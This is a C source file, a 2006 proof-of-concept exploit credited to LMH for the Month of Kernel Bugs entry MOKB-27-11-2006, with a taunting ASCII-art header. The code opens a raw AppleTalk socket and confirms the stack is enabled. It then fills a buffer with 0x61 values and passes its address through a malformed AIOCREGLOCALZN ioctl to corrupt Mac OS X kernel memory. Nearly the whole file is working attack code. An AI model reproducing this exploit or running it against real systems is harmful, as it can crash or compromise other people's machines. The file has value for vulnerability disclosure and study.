/*
 * Copyright 2006 (c) LMH <lmh@info-pull.com>.
 * All Rights Reserved.
 * ----           
 *
 *               .--. .--.           _____________________________________
 *          _..-: (X :  o :-.._     / heya! me Gruber Duckie. I'm an über |
 *      .-''    `.__.:.__.'    ``-./___    proud zealot and Mac Beggar!   |
 *    .'          .'   `.          `.  \__________________________________|
 *   :  '.        :     :        .'  ;  (...fear my Delusional Zealot Army !)
 *   :    :-..__  `.___.'  __..-;    ;
 *   `.    `.   ''-------''   .'    ,'
 *     `.    `.             .'    .' 
 *       `._   `-._     _.-'   _.'   kudos to ilja, kevin, hdm, johnnycsh, et al.
 *          `-._   '"'"'   _.-'      proof of concept for MOKB-27-11-2006.
 *              ``-------''
 */

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>

typedef struct at_state {
	unsigned int	flags;
} at_state_t;

/* if testing on PPC, you need to use the proper values. read netat/at_var.h */
#undef	AF_APPLETALK
#define AIOCGETSTATE	0x8021610b	/* get AT global state */
#define AIOCREGLOCALZN	0x8021610b
#define AT_ST_STARTED	0x0001
#define	AF_APPLETALK	0x10

char powder[4096];

unsigned long do_semtex(char *p, size_t len) {
	int i;
    size_t longsize = sizeof(long);
    unsigned long *daringwussball;

	daringwussball = (unsigned long *)p;
	for (i = 0; i < len; i+=longsize) {
		*daringwussball++ = 0x61;
	}

	return (unsigned long)&powder;
}

int main(int argc, char **argv) {
        int fd;
        at_state_t global_state;
		unsigned long pkt;

        if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
                exit(1);

		/* check if AppleTalk stack has been started */
        if (ioctl(fd, AIOCGETSTATE, &global_state) < 0) {
                close(fd);
                exit(2);
        }

        if (global_state.flags & AT_ST_STARTED) {
                printf("appletalk-exploit-1: 0x%08x\n", global_state);
        } else {
                printf("appletalk-exploit-1: AppleTalk isn't enabled!\n");
                exit(3);
        }

		pkt = do_semtex(powder, sizeof(powder));
		ioctl(fd, AIOCREGLOCALZN, pkt);

        close(fd);
        return 0;
}